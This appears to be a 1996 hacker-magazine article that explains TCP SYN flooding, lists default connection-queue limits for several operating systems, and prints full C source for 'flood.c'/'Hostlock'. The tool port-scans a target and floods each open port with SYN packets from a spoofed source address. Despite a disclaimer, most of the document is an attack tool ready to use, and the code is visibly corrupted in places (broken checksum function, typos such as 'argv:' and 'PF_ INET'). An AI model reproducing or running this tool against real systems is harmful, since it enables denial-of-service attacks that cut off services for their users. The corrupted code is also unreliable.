Flood Warning

by Jason Fairlane

This program was written for, and tested on, a Linux machine with a kernel patch in place to allow IP source address spoofing.  It will most likely not work on any other architecture.  If you happen to port it to another architecture, contact me at: jfair@2600.com.

Description

[To all people who know this already: Yes, this is a pretty weak description of TCP mechanics, but it suits our purpose just fine.]

This program scans a host to determine which ports are open, or listening for connections.  Once a list of receiving ports has been compiled, the program then floods each of them with the specified number of SYN packets.  A SYN packet is the first portion of the TCP "three-way handshake."  It basically says, "Hey, over there... I want to connect to you."

When a TCP/IP stack receives a SYN packet, it responds with a SYN/ACK, which says "O.K., you can connect to me, just let me make sure it's you."  At this point, it is waiting for an ACK, which says Yeah, it's really me!"  Now, if the source address in the SYN packet does not exist, but has a path to it in place, that SYN/ACK will never be answered with an ACK, and the TCP/IP stack will wait forever for that packet (actually, until a certain amount of time has passed, which is implementation dependent).  If a whole bunch of those faked SYN packets are received simultaneously, the connection queue of the target machine will be filled.

The connection queue is the number of half-open (SYN_RECEIVED) connections the kernel will allow on a port before it starts dropping further connection requests to that port.  For each operating system, there is a standard default, which may be configurable by the superuser.  The default included with this program is 33, which will flood a good 90% of the machines out there.  You may specify a particular number, with the "-n" command-line switch.  Example:

# ./flood my.test.site.com -l 500 -h 520 -n 1024 

Would flood every receiving port in the range of 500-520 on my.test.site.com with 1024 SYN packets, the default for Solaris 2.5.

Disclaimer

Don't use this software without permission.  I'm serious.  It's very very very bad.  This is probably one of the worst forms of Denial-of-Service (DOS) attacks there is.  No one will be able to connect to your target's machine.  It's bad.

OS              Version    Default    Configurable?

Solaris         2.5        1024       Yes
Solaris         2.4        32         Yes
Solaris         2.0-2.3    8          Yes
Sun OS          ALL        8          Yes
Generic SVR4    ALL        8          Maybe (*)
Generic BSD     4.3/4.4    8          Maybe (*)
Linux           ALL        5          Yes
Windows NT      ALL        110        No

(*) = Depending on the implementation


/* !!THIS PROGRAM IS EXTREMELY DANGEROUS!!.  NO GUIDELINES
 * ARE PROVIDED FOR THE CODE CONTAINED HEREIN.    IT IS MERELY
 * A DEMONSTRATION OF THE POSSIBLE DESTRUCTIVE USES OF IP
 * SPOOFING TECHNIQUES.    THE AUTHOR CLAIMS NO RESPONSIBILITY
 *  FOR ITS USE OR MISUSE.   - jf (3/8/96)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PACKET_SIZE sizeof(struct tcppkt)

/* Configurable defaults.      These are specifiable via the command line. */
#define  DEF_BADDR   "132.45.6.8"
#define  DEF_SYNS    32		/* (See Accompanying Table) */
#define  DEF_MAX     32768
#define  DEF_LOW     1

struct tcppkt
{
  struct iphdr ip;
  struct tcphdr tcp;
};

u_short ports[DEF_MAX];

void
usage (progname)
     char *progname;
{
  fprintf (stderr, "Hostlock v.01\n");
  fprintf (stderr, "Usage: %s <Target>  [optionsj\n", progname);
  fprintf (stderr, "Options:\n\
-b  [addr]\tAddress from which the SYNflood packets should appear to be.\n\
\t\tThis address should have correct routing records,   but not exist.\n\
-l [port]\tPort to begin scanning from.\n\
-h  [port]\tPort to end scanning on.\n\
-d  [port]\tSpecific port to flood.\n\
-n  [syns]\tNumber of SYN packets to flood with.\n");

  exit (1);

}

u_long
resolve (host)
     char *host;
{
  struct hostent *he;
  u_long addr;
  if ((he = gethostbyname (host)) == NULL)
    {
      addr = inet_addr (host);
    }
  else
    {
      bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
    }

  return (addr);
}

/* From ping.c */
/*
 * in_cksum -
 * Checksum routine for Internet Protocol family headers (C Version)
 */

unsigned short
in_cksum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1)
    sum += *w++;
  nleft -= 2;
}

if (nleft == 1)
  {
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return (answer);
  }

int
sendsyn (sin, s, saddr, sport, seq)
     struct sockaddr_in *sin;
     u_long saddr, seq;
     u_short sport;
     int s;
{
  register struct iphdr *ip;
  register struct tcphdr *tcp;
  register char *php;
  static char packet[PACKET_SIZE];
  static char phead[PACKET_SIZE + 12];
  u_short len = 0;

/* Overlay IP header structure onto packet. */
  ip = (struct iphdr *) packet;

/* Fill in IP Header values. */
  ip->ihl = 5;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = htons (PACKET_SIZE);
  ip->id = htons (2600 + (rand () % 32768));
  ip->frag_off = 0;
  ip->ttl = 255;
  ip->protocol = IPPROTO_TCP;
  ip->check = 0;
  ip->saddr = saddr;
  ip->daddr = sin->sin_addr.s_addr;

/*  The Linux kernel automatically checksums outgoing raw packets.
    However. other implementations might not, so if you are porting,
    remember to uncomment this line.
    ip->check = in_cksum((char *)&ip, sizeof(struct iphdr));
 */

/* Overlay TCP header structure onto packet. */

  tcp = (struct tcphdr *) (packet + sizeof (struct iphdr));

/* Fill in TCP header values. */
  tcp->th_sport = htons (sport);
  tcp->th_dport = htons (sin->sin_port);
  tcp->th_seq = htonl (seq);
  tcp->th_ack = 0;
  tcp->th_x2 = 0;
  tcp->th_off = 5;
  tcp->th_flags = TH_SYN;
  tcp->th_win = htons (10052);
  tcp->th_sum = 0;
  tcp->th_urp = 0;

  php = phead;
  memset (php, 0, PACKET_SIZE + 12);
  memcpy (php, &(ip->saddr), 8);
  php += 9;
  memcpy (php, &(ip->protocol), 1);
  len = htons (sizeof (struct tcphdr));
  memcpy (++php, &(len), 2);
  php += 2;
  memcpy (php, tcp, sizeof (struct tcphdr));

/* Now fill in the checksum. */
  tcp->th_sum = in_cksum (php, sizeof (struct tcphdr) + 12);

/* And send... */
  return (sendto (s, packet, PACKET_SIZE, 0, (struct sockaddr *) sin,
		  sizeof (struct sockaddr_in)));
}

int
synscan (saddr, sport, lo, hi, s, r, sin)
     u_long saddr;
     u_short sport, lo, hi;
     int s, r;
     struct sockaddr_in *sin;
{
  struct tcppkt buf;
  int i, total = 0;

  for (i = lo; i <= hi; i++)
    {
      sin->sin_port = i;
      if ((sendsyn (sin, s, saddr, sport, 31337)) == -1)
	{
	  perror ("Error sending SYN packet");
	  exit (1);
	}

      for (;;)
	{
	  memset (&buf, 0, PACKET_SIZE);
	  read (r, &buf, PACKET_SIZE);
	  /* Is it from our target? */
	  if (buf.ip.saddr != sin->sin_addr.s_addr)
	    continue;

	  /* Sequence number OK? */
	  if ((ntohl (buf.tcp.th_ack) != 31338) &&
	      (ntohl (buf.tcp.th_ack) != 31337))
	    continue;

	  /* RST/ACK - No service listening on port. */
	  if ((buf.tcp.th_flags & TH_RST) && (buf.tcp.th_flags & TH_ACK))
	    break;

	  /* SYN/ACK - Service listening on port. */
	  if ((buf.tcp.th_flags & TH_ACK) && (buf.tcp.th_flags & TH_SYN))
	    {
	      ports[total] = ntohs (buf.tcp.th_sport);
	      printf ("%d\n", ports[total++]);
	      fflush (stdout);
	      break;
	    }
	}			/* for(;;) */
    }

  return (total);
}

void
synflood (baddr, bport, s, numsyns, sin)
     u_long baddr;
     u_short bport, numsyns;
     int s;
     struct sockaddr_in *sin;
{
  int i;

  printf ("%d", sin->sin_ port);
  fflush (stdout);

  for (i = 0; i < numsyns; i++)
    {
      usleep (30);
      if ((sendsyn (sin, s, baddr, bport++, 31337)) - 1)
	{
	  perror ("Error sending SYN packet");
	  exit (1);
	}
      printf (".");
      fflush (stdout);
    }
  printf ("\n");
}

void
main (argc, argv)
     int argc;
     char **argv:
     {
       struct sockaddr_in sin;
       u_long saddr, daddr, baddr;
       u_short i, numsyns, lo, hi;
       u_short sport = 2600, bport = 2600;
       char buf[256];
       int s, r, total;

       total numsyns = lo = hi = baddr = 0;

       /* Minimum usage is "hostlock <target:>" */
       if (argc < 2)
	   usage (argv[0]);

       if ((daddr = resolve (argv[1])) == -1)
	 {
	   fprintf (stderr, "Bad hostname/IP address: %s\n", argv[1]);
	   usage (argv[0]);
	 }

       for (i = 2; i < argc; i++)
	 {
	   switch (argv[i][1])
	     {
	     case 'b':
	     case 'B':
	       if ((baddr = inet_addr (argv[++i])) == -1)
		 {
		   fprintf (stderr, "Bad hostname/IP address: %s\n", argv[1]);
		   fprintf (stderr, "Defaulting to %s ...\n", DEF_BADDR);
		   baddr = inet_addr (DEF_BADDR);
		 }
	       break;
	     case 'l':
	     case 'L':
	       lo = atoi (argv[++i]);
	       break;
	     case 'h':
	     case 'H':
	       hi = atoi (argv[++i]);
	       break;
	     case 'd':
	     case 'D':
	       hi = lo = atoi (argv[++i]);
	       break;
	     case 'n':
	     case 'N':
	       numsyns = atoi (argv[++i]);
	       break;
	     default:
	       fprintf (stderr, "Unknown option: -%c\n", argv[i][1]);
	       usage (argv[0]);
	       break;
	     }
	 }

/* Institute defaults if these options have not been specified. */
       if (!numsyns)
	 numsyns = DEF_SYNS;
       if (!lo)
	 lo = DEF_LOW;
       if (!hi)
	 hi = DEF_MAX;
       if (!baddr)
	 baddr = inet_addr (DEF_BADDR);

/* Fill in our sockaddr_in structure. */
       sin.sin_family = PF_ INET;
       sin.sin_addr.s_addr = daddr;
       sin.sin_port = 0;

       if ((gethostname (buf, 256)) == -1)
	 {
	   perror ("Unable to get our hostnarne");
	   exit (1);
	 }

       if ((saddr = resolve (buf)) == -1)
	 {
	   perror ("Unable to resolve our hostname");
	   exit (1);
	 }

/* Open our sending and receiving sockets. */
       if ((s = socket (PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	 {
	   perror ("Unable to open a raw socket");
	   exit (1);
	 }

       if ((r = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0)
	 {
	   perror ("Unable to open a raw socket");
	   exit (1);
	 }

       printf ("Performing hostlock on %s ports %d to %d.\n",
	       inet_ntoa (sin.sin_addr), lo, hi);

/* Scan. */
       printf ("Scanning...\n");
       fflush (stdout);
       total = synscan (saddr, sport, lo, hi, s, r, &sin);

       printf ("Scan completed. %d receiving ports found.\n", total);
       sleep (2);		/* Pause to let everything clear out. */

       printf ("Flooding ports with %d SYNs each...\n", numsyns);
       fflush (stdout);

/* Flood. */
       if (total)
	 {
	   for (i = 0; i < total; i++)
	     {
	       sin.sin_port = ports[i];
	       synflood (baddr, bport, s, numsyns, &sin);
	     }
	 }

       printf ("Hostlock completed. Exiting.\n");

       exit (0);
     }

Code: flood.c

Return to $2600 Index